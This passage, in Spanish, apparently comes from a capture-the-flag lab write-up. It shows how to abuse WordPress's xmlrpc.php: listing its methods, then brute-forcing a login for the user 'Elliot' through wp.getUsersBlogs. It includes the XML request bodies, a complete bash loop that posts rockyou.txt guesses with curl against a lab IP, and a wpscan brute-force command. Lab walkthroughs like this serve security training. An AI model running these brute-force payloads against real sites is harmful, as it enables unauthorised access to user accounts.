También es posible que podamos enumerar este archivo el cual nos sirve para obtener credenciales de usuarios, ya que se trata de un archivo que permite la comunicación de wordpress y otros sistemas usando php; y si lo buscamos en el navegador vemos que existe pero que sólo tramita peticiones por POST:
Por tanto con curl vamos a enviarle una petición por POST y vemos que sí nos devuelve algo en XML:
Y ahora que vemos que existe este fichero, buscamos en google como explotar vulnerabilidades haciendo uso de este fichero:
Y nos dicen que tenemos que tramitar esto:
POST /xmlrpc.php HTTP/1.1 Host: example.com Content-Length: 135 <?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
Por tanto pegamos este código en un fichero xml:
Y ahora este fichero lo tramitamos por POST contra el xmlrpc de wordpress:
Y el servidor nos responde con todos los métodos disponibles:
Y si miramos más en la página, vemos que nos muestran como hacer un ataque de fuerza bruta:
<?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\{\{your username\}\}</value></param> <param><value>\{\{your password\}\}</value></param> </params> </methodCall>
Y vemos que aquí si ponemos unas credenciales correctas y lo ejecutamos como antes, nos va a funcionar correctamente:
En este punto podríamos hacer un ataque de fuerza bruta, tanto con un script de bash o con la propia herramienta wpscan:
#!/bin/bash #!/bin/bash function salir() { exit 1 } trap salir SIGINT for i in $(cat rockyou.txt); do variable=$(cat <<FIN <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>Elliot</value></param> <param><value>$i</value></param> </params> </methodCall> FIN ) echo -e "$variable" >> enviar.xml echo -e "[+] Probamos con la contraseña $i" curl -s -X POST 'http://10.10.126.89/xmlrpc.php' -d@enviar.xml >> log.log if [ ! "$(cat log.log | grep 'Incorrect username or password.')" ]; then echo -e "[+] La contraseña para Elliot es $i" exit 0 fi sleep 1 rm log.log enviar.xml done
O también directamente desde la herramienta, lo cual será más rápido:
wpscan --url <url> -U <user> -P <pass>
Y nos la encuentra: